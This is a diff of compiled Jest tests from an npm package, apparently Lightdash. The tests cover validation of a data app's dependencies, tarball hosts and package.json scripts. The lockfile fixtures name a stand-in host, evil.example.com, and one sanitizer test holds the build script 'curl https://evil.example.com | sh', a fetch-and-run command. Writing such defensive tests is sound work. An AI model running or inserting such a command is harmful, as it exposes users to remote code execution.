AE,IAAI,GAAG,CACtD,CAAC;QACN,IAAI,OAAO,CAAC,EAAE,aAAa,KAAK,QAAQ;YACpC,MAAM,IAAI,KAAK,CACX,6BAA6B,CAAC,EAAE,IAAI,mBAAmB,CAC1D,CAAC;IACV,CAAC;IAED,IAAI,CAAC,CAAC,YAAY,KAAK,SAAS,EAAE,CAAC;QAC/B,MAAM,CAAC,GAAG,CAAC,CAAC,YAA4C,CAAC;QACzD,IAAI,CAAC,CAAC,IAAI,OAAO,CAAC,KAAK,QAAQ;YAC3B,MAAM,IAAI,KAAK,CACX,oDAAoD,CACvD,CAAC;QACN,IAAI,OAAO,CAAC,CAAC,WAAW,KAAK,QAAQ;YACjC,MAAM,IAAI,KAAK,CACX,+DAA+D,CAClE,CAAC;QACN,IAAI,OAAO,CAAC,CAAC,QAAQ,KAAK,QAAQ;YAC9B,MAAM,IAAI,KAAK,CACX,4DAA4D,CAC/D,CAAC;QACN,yDAAyD;QACzD,IAAI,IAAI,EAAE,oBAAoB,KAAK,SAAS,EAAE,CAAC;YAC3C,2BAA2B,CAAC,CAAC,CAAC,YAAY,EAAE;gBACxC,oBAAoB,EAAE,IAAI,CAAC,oBAAoB;aAClD,CAAC,CAAC;QACP,CAAC;IACL,CAAC;IAED,OAAO,CAAgB,CAAC;AAC5B,CAAC"}

package/dist/cjs/ee/apps/code.test.js

@@ -70,6 +70,301 @@ describe('validateDataAppCode', () => {
         expect((0, code_1.validateDataAppCode)(withVersion)).toEqual(withVersion);
     });
 });
+// ─── validateDataAppDependencies ────────────────────────────────────────────
+const TEMPLATE_DEPS = {
+    react: '19.2.5',
+    'react-dom': '19.2.5',
+    '@lightdash/query-sdk': '0.3303.0',
+};
+const makeDeps = (overrides) => ({
+    packageJson: JSON.stringify({
+        dependencies: { react: '19.2.5', 'react-dom': '19.2.5' },
+    }),
+    lockfile: 'react@19.2.5:\n  react-dom@19.2.5:\n',
+    ...overrides,
+});
+describe('validateDataAppDependencies', () => {
+    it('returns empty customDeps when all declared deps match the template', () => {
+        const result = (0, code_1.validateDataAppDependencies)(makeDeps(), {
+            templateDependencies: TEMPLATE_DEPS,
+        });
+        expect(result.customDeps).toEqual({});
+    });
+    it('flags a new package not in the template as custom', () => {
+        const deps = makeDeps({
+            packageJson: JSON.stringify({
+                dependencies: { 'my-chart-lib': '^3.0.0' },
+            }),
+            lockfile: 'my-chart-lib@3.2.0:\n',
+        });
+        const result = (0, code_1.validateDataAppDependencies)(deps, {
+            templateDependencies: TEMPLATE_DEPS,
+        });
+        expect(result.customDeps).toEqual({ 'my-chart-lib': '^3.0.0' });
+    });
+    it('flags a version override as custom', () => {
+        const deps = makeDeps({
+            packageJson: JSON.stringify({
+                dependencies: { react: '18.3.1' }, // template has 19.2.5
+            }),
+            lockfile: 'react@18.3.1:\n',
+        });
+        const result = (0, code_1.validateDataAppDependencies)(deps, {
+            templateDependencies: TEMPLATE_DEPS,
+        });
+        expect(result.customDeps).toEqual({ react: '18.3.1' });
+    });
+    it('does not count devDependencies in the declared set', () => {
+        const deps = makeDeps({
+            packageJson: JSON.stringify({
+                dependencies: { react: '19.2.5' },
+                devDependencies: { typescript: '6.0.0' },
+            }),
+            lockfile: 'react@19.2.5:\n',
+        });
+        const result = (0, code_1.validateDataAppDependencies)(deps, {
+            templateDependencies: TEMPLATE_DEPS,
+        });
+        expect(result.customDeps).toEqual({});
+    });
+    it('throws when packageJson is not valid JSON', () => {
+        expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({ packageJson: 'not-json' }), {
+            templateDependencies: TEMPLATE_DEPS,
+        })).toThrow(/not valid JSON/i);
+    });
+    it('throws when packageJson has no "dependencies" key', () => {
+        expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({ packageJson: JSON.stringify({ name: 'app' }) }), { templateDependencies: TEMPLATE_DEPS })).toThrow(/"dependencies"/);
+    });
+    it('throws when a spec uses git+ protocol', () => {
+        expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
+            packageJson: JSON.stringify({
+                dependencies: {
+                    foo: 'git+https://github.com/foo/foo.git',
+                },
+            }),
+            lockfile: 'foo:\n',
+        }), { templateDependencies: {} })).toThrow(/registry semver spec/i);
+    });
+    it('throws when a spec uses file: protocol', () => {
+        expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
+            packageJson: JSON.stringify({
+                dependencies: { bar: 'file:../bar' },
+            }),
+            lockfile: 'bar:\n',
+        }), { templateDependencies: {} })).toThrow(/registry semver spec/i);
+    });
+    it('throws when a spec uses workspace: protocol', () => {
+        expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
+            packageJson: JSON.stringify({
+                dependencies: { sdk: 'workspace:*' },
+            }),
+            lockfile: 'sdk:\n',
+        }), { templateDependencies: {} })).toThrow(/registry semver spec/i);
+    });
+    it('throws when a spec uses https: tarball URL', () => {
+        expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
+            packageJson: JSON.stringify({
+                dependencies: { baz: 'https://example.com/baz.tgz' },
+            }),
+            lockfile: 'baz:\n',
+        }), { templateDependencies: {} })).toThrow(/registry semver spec/i);
+    });
+    it('throws when a spec uses github: shorthand', () => {
+        expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
+            packageJson: JSON.stringify({
+                dependencies: { foo: 'github:user/repo' },
+            }),
+            lockfile: 'foo:\n',
+        }), { templateDependencies: {} })).toThrow(/registry semver spec/i);
+    });
+    it('allows npm: aliases pointing at semver specs', () => {
+        const deps = makeDeps({
+            packageJson: JSON.stringify({
+                dependencies: { preact: 'npm:preact@^10.0.0' },
+            }),
+            lockfile: 'preact@10.0.0:\n',
+        });
+        const result = (0, code_1.validateDataAppDependencies)(deps, {
+            templateDependencies: {},
+        });
+        expect(result.customDeps).toEqual({ preact: 'npm:preact@^10.0.0' });
+    });
+    it('rejects npm: aliases pointing at git+ specs', () => {
+        expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
+            packageJson: JSON.stringify({
+                dependencies: {
+                    foo: 'npm:bar@git+https://github.com/bar/bar.git',
+                },
+            }),
+            lockfile: 'foo:\n',
+        }), { templateDependencies: {} })).toThrow(/registry semver spec/i);
+    });
+    it.each([
+        ['gitlab: shorthand', 'gitlab:user/repo'],
+        ['bitbucket: shorthand', 'bitbucket:user/repo'],
+        ['gist: shorthand', 'gist:abc123'],
+        ['bare relative path', '../../x'],
+        ['bare local path', './vendor/foo'],
+        ['dist-tag', 'latest'],
+        ['npm: alias without a version', 'npm:preact'],
+    ])('rejects %s specs', (_label, spec) => {
+        expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
+            packageJson: JSON.stringify({
+                dependencies: { foo: spec },
+            }),
+            lockfile: 'foo:\n',
+        }), { templateDependencies: {} })).toThrow(/registry semver spec/i);
+    });
+    it.each([
+        ['exact', '1.2.3'],
+        ['caret', '^1.2.3'],
+        ['tilde', '~1.2.0'],
+        ['comparator range', '>=1.2.0 <2.0.0'],
+        ['x-range', '1.2.x'],
+        ['star', '*'],
+        ['hyphen range', '1.0.0 - 2.0.0'],
+        ['union', '^1.0.0 || ^2.0.0'],
+        ['prerelease', '9.0.0-beta.1'],
+    ])('accepts %s semver specs', (_label, spec) => {
+        const result = (0, code_1.validateDataAppDependencies)(makeDeps({
+            packageJson: JSON.stringify({ dependencies: { foo: spec } }),
+            lockfile: 'foo:\n',
+        }), { templateDependencies: {} });
+        expect(result.customDeps).toEqual({ foo: spec });
+    });
+    it('rejects lockfiles resolving tarballs from non-allowed hosts', () => {
+        expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
+            lockfile: 'react@19.2.5:\n    resolution: {tarball: https://evil.example.com/react.tgz}\n',
+        }), {
+            templateDependencies: TEMPLATE_DEPS,
+            allowedTarballHosts: ['registry.npmjs.org'],
+        })).toThrow(/not an allowed registry host/i);
+    });
+    it('accepts lockfiles whose tarballs point at allowed hosts', () => {
+        const result = (0, code_1.validateDataAppDependencies)(makeDeps({
+            lockfile: 'react@19.2.5:\n    resolution: {tarball: https://registry.npmjs.org/react/-/react-19.2.5.tgz}\n  react-dom@19.2.5:\n',
+        }), {
+            templateDependencies: TEMPLATE_DEPS,
+            allowedTarballHosts: ['registry.npmjs.org'],
+        });
+        expect(result.customDeps).toEqual({});
+    });
+    it('skips tarball host validation when allowedTarballHosts is not provided', () => {
+        const result = (0, code_1.validateDataAppDependencies)(makeDeps({
+            lockfile: 'react@19.2.5:\n    resolution: {tarball: https://evil.example.com/react.tgz}\n  react-dom@19.2.5:\n',
+        }), { templateDependencies: TEMPLATE_DEPS });
+        expect(result.customDeps).toEqual({});
+    });
+    it(`throws when declared dep count exceeds MAX_DECLARED_DEPENDENCIES (${code_1.MAX_DECLARED_DEPENDENCIES})`, () => {
+        const tooMany = Object.fromEntries(Array.from({ length: code_1.MAX_DECLARED_DEPENDENCIES + 1 }, (_, i) => [
+            `pkg-${i}`,
+            `^${i}.0.0`,
+        ]));
+        const lockfileContent = Object.keys(tooMany)
+            .map((n) => `${n}:\n`)
+            .join('');
+        expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({
+            packageJson: JSON.stringify({ dependencies: tooMany }),
+            lockfile: lockfileContent,
+        }), { templateDependencies: {} })).toThrow(/exceeds maximum/i);
+    });
+    it('throws when lockfile exceeds MAX_LOCKFILE_BYTES', () => {
+        const bigLockfile = 'x'.repeat(code_1.MAX_LOCKFILE_BYTES + 1);
+        expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({ lockfile: bigLockfile }), {
+            templateDependencies: TEMPLATE_DEPS,
+        })).toThrow(/lockfile exceeds/i);
+    });
+    it('throws when a custom package is missing from the lockfile', () => {
+        const deps = makeDeps({
+            packageJson: JSON.stringify({
+                dependencies: { 'missing-pkg': '^1.0.0' },
+            }),
+            lockfile: 'some-other-pkg@1.0.0:\n', // missing-pkg not mentioned
+        });
+        expect(() => (0, code_1.validateDataAppDependencies)(deps, { templateDependencies: {} })).toThrow(/not found in pnpm-lock\.yaml/i);
+    });
+    it('throws when packageJson is empty string', () => {
+        expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({ packageJson: '' }), {
+            templateDependencies: {},
+        })).toThrow(/non-empty string/i);
+    });
+    it('throws when lockfile is empty string', () => {
+        expect(() => (0, code_1.validateDataAppDependencies)(makeDeps({ lockfile: '' }), {
+            templateDependencies: {},
+        })).toThrow(/non-empty string/i);
+    });
+    it('throws on non-object input', () => {
+        expect(() => (0, code_1.validateDataAppDependencies)('not-object', {
+            templateDependencies: {},
+        })).toThrow(/not an object/i);
+    });
+});
+describe('sanitizeAppPackageJsonScripts', () => {
+    const templateScripts = { dev: 'vite', build: 'vite build' };
+    it('replaces uploader scripts with the template scripts', () => {
+        const input = JSON.stringify({
+            name: 'app',
+            scripts: { build: 'curl https://evil.example.com | sh' },
+            dependencies: { react: '19.2.5' },
+        });
+        const parsed = JSON.parse((0, code_1.sanitizeAppPackageJsonScripts)(input, templateScripts));
+        expect(parsed.scripts).toEqual(templateScripts);
+        expect(parsed.dependencies).toEqual({ react: '19.2.5' });
+    });
+    it('adds template scripts when the upload has none', () => {
+        const input = JSON.stringify({ dependencies: {} });
+        const parsed = JSON.parse((0, code_1.sanitizeAppPackageJsonScripts)(input, templateScripts));
+        expect(parsed.scripts).toEqual(templateScripts);
+    });
+    it('returns the input unchanged when it is not valid JSON', () => {
+        expect((0, code_1.sanitizeAppPackageJsonScripts)('not-json', templateScripts)).toBe('not-json');
+    });
+});
+describe('validateDataAppCode with dependencies', () => {
+    it('accepts a bundle with no dependencies field (backward compat)', () => {
+        expect((0, code_1.validateDataAppCode)(valid)).toEqual(valid);
+    });
+    it('accepts a bundle with valid dependencies when no template is provided', () => {
+        const withDeps = {
+            ...valid,
+            dependencies: makeDeps(),
+        };
+        expect((0, code_1.validateDataAppCode)(withDeps)).toEqual(withDeps);
+    });
+    it('throws when dependencies.packageJson is not a string', () => {
+        expect(() => (0, code_1.validateDataAppCode)({
+            ...valid,
+            dependencies: { packageJson: 42, lockfile: 'ok' },
+        })).toThrow(/dependencies\.packageJson/);
+    });
+    it('throws when dependencies.lockfile is not a string', () => {
+        expect(() => (0, code_1.validateDataAppCode)({
+            ...valid,
+            dependencies: { packageJson: '{}', lockfile: null },
+        })).toThrow(/dependencies\.lockfile/);
+    });
+    it('runs full validation when templateDependencies is provided', () => {
+        expect(() => (0, code_1.validateDataAppCode)({
+            ...valid,
+            dependencies: makeDeps({
+                packageJson: JSON.stringify({
+                    dependencies: { foo: 'file:../foo' },
+                }),
+                lockfile: 'foo:\n',
+            }),
+        }, { templateDependencies: {} })).toThrow(/registry semver spec/i);
+    });
+    it('skips full validation when templateDependencies is omitted', () => {
+        // Even an invalid spec won't throw if no template is supplied — the
+        // structural check passes, full validation is deferred to the caller.
+        expect(() => (0, code_1.validateDataAppCode)({
+            ...valid,
+            dependencies: makeDeps({
+                packageJson: JSON.stringify({ dependencies: {} }),
+            }),
+        })).not.toThrow();
+    });
+});
 it('DataAppCodeDownload carries manifest, files, and context', () => {
     const dl = {
         ...valid,

package/dist/cjs/ee/apps/code.test.js.map

@@ -1 +1 @@
-{"version":3,"file":"code.test.js","sourceRoot":"","sources":["../../../../src/ee/apps/code.test.ts"],"names":[],"mappings":"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"}
+{"version":3,"file":"code.test.js","sourceRoot":"","sources":["../../../../src/ee/apps/code.test.ts"],"names":[],"mappings":"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